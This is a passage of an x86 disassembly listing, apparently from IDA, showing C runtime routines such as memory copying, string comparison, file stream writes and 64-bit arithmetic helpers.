		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------

loc_41CCE4:				; CODE XREF: sub_41CC90+46j
		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------

loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41CD50:				; DATA XREF: sub_41CC90+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------

loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax

loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax

loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax

loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax

loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax

loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax

loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------

loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h

loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------

loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx

loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4

loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------

loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax

loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax

loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax

loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax

loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax

loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax

loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax

loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------

loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78B+34p
					; sub_40D78B+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DC91C
		call	sub_422608
		mov	edx, dword_4DC91C
		pop	ecx
		mov	ecx, dword_4DC918
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4DC91C
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------

loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4DC918
		sub	ecx, dword_4DC91C
		mov	dword_4DC91C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DC918, ecx

loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DC918, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D878+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4DC91C, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4DC91C
		pop	ecx

loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DC91C
		mov	dword_4DC918, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Bp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	near ptr 279027Eh
		nop
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2870000h
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DB2E2
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DB2E0
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DB2DE
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DB2DA
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DB2D8
		jnz	short loc_41D0E6
		mov	eax, dword_4DB2D0
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------

loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	near ptr 2860000h
		nop
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------

loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------

loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh

loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DB2D8
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DB2D0, eax
		pop	esi

loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DB32C
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi

loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh

loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------

loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi

loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh

loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268

loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi

loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------

loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h

loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------

loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4DB278, 16h
		or	eax, 0FFFFFFFFh

loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B08+19Ep
					; sub_41386B+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------

loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------

loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------

loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h

loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax

loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------

loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3

loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------

loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx

loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA

loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------

loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1

loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]

loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------

loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi

loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416908+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	near ptr 26A04DCh
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		nop
		call	near ptr 2690CE2h
		push	eax
		call	sub_4203DF
		pop	ecx

loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB278, 0Dh
		mov	dword_4DB27C, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------

loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416922+3Fp
					; sub_41A98C+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------

loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]

loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F

loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi

loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi

loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416922+2Dp
					; sub_41A98C+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------

loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]

loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2

loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]

loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0

loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A32+5Fp
					; sub_416A32+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
